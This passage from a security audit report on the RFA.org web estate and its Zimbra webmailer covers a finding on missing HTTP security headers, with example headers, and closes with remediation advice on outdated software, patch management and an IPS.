- Knowledge of Pyramid and substanceD will be considered a plus.

While it is important to list the desired technology stack knowledge sought, it might be a good idea to delete these job offers once the position has been filled. In addition to this, Search Engine indexing of such offers could be disabled via the robots.txt file or simply with the use of the robots META tag in the HTML of the job offer[26]:

```
<meta name="robots" content="noindex">
```

RFA-01-018 Complete Absence of HTTP Security Headers *(Medium)*

The various RFA.org websites do not deploy any HTTP security headers whatsoever. This means that the application is prone to XSS, Clickjacking and similar browser-based attacks. It is highly recommended to reduce the amount of general headers that are being exposed right now, while adding security-relevant headers to provide better user-protection.

Currently deployed HTTP Headers:

[26] https://support.google.com/webmasters/answer/93710?hl=en

```
HTTP/1.1 200 OK
Server: Zope/(2.13.22, python 2.7.6, linux2) ZServer/1.1
X-Cache-Headers-Set-By: CachingPolicyManager: /rfa/caching_policy_manager
Expires: Thu, 19 Mar 2015 01:32:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
X-Cache-Lookup: HIT from localhost:8100
Date: Thu, 19 Mar 2015 01:29:58 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Via: 1.0 localhost (squid/3.1.14)
```

Ideal HTTP Headers Composition:

```
HTTP/1.1 200 OK
X-Cache-Headers-Set-By: CachingPolicyManager: /rfa/caching_policy_manager
Expires: Thu, 19 Mar 2015 01:32:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Date: Thu, 19 Mar 2015 01:29:58 GMT
Connection: keep-alive
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
```

The ideal header composition shown above reduces the total count of headers in use and limits possible data leakage. The additional X-headers disable clickjacking attacks, configure a browser's XSS filter properly, and keep MSIE users from being vulnerable to potential content-sniffing attacks. A consideration should also be given to using CSP headers for even more thorough XSS- and data leakage-protection. The web application's HTML appears to be well tidied-up, thus making CSP rules easily implementable.

Please note: It needs to be ensured that the headers are also set properly, especially for instances where the application renders an error page, such as a 500 or similar errors. Otherwise an attacker could abuse the error page to initiate an attack that would not work if HTTP security headers were put in place.

Conclusion

This test against the RFA website (CMS-driven areas) and the Zimbra web mailer yielded several findings that require immediate action. This first and foremost refers to the Zimbra XSS issues that allow an attacker to take over web-mail accounts by sending out rogue mails, as well as the spotted RCE vulnerability which makes a full takeover of the RFA.org webserver a real possibility.

This test has conclusively shown that the RFA web estate is plagued by a simple and rather common problem that is the outdated software that is exposed online. Paired with the verbosity the website is exposing in terms of the version leakage and chatty HTTP headers, this contributes to a risky mix. Ultimately, it led to a finding which enabled an attacker arbitrary remote code execution on the RFA web server. The frameworks, server and CMS are all out of date and need to be updated urgently. It is further recommended to launch an in-depth forensic investigation to assure that the spotted issues have not been exploited in the past. The short pentest against the webmailer system used by RFA, namely an almost fully patched Zimbra Collaboration Suite instance yielded similar results and lead to a still ongoing conversation with the Zimbra development team, which is currently working on the multitude of the submitted security issues, It is hoped that a patch is delivered within the next few weeks.

The results of this assignment prove that conducting an initial security assessment of the RFA.org website estate was a useful and clearly needed endeavor. It is however recommended to continue this process and analyze other existing systems and sub-domain, for which additional issues may be found. It must be kept in mind that the undiscovered problems might not only harm RFA's security premise, but also have an impact on the security of their users and their data. In addition, it is recommended to start the implementation of a patch and version management system that allows one to quickly spot outdated software on the RFA server. Such system would mean that the administrators are always notified about the need for updates. It appears that there is no system of that kind in place at present, explaining why an outdated and highly vulnerable Zope framework could exist on the web servers for such a long time. Yet another suggestion pertains to investing time into the installation of an IPS system. Often, large web estates that have grown organically over the years cannot be easily patched to an up-to-date level. Therefore, certain security issues cannot be fixed properly without harming other critical functionality. In these cases, an IPS can help decreasing the size of the attack surface and give back control to administrators and dev-ops.

Cure53 would like to equally thank Smith Augustin Jr. and Chad Hurley for their support and assistance during this assignment.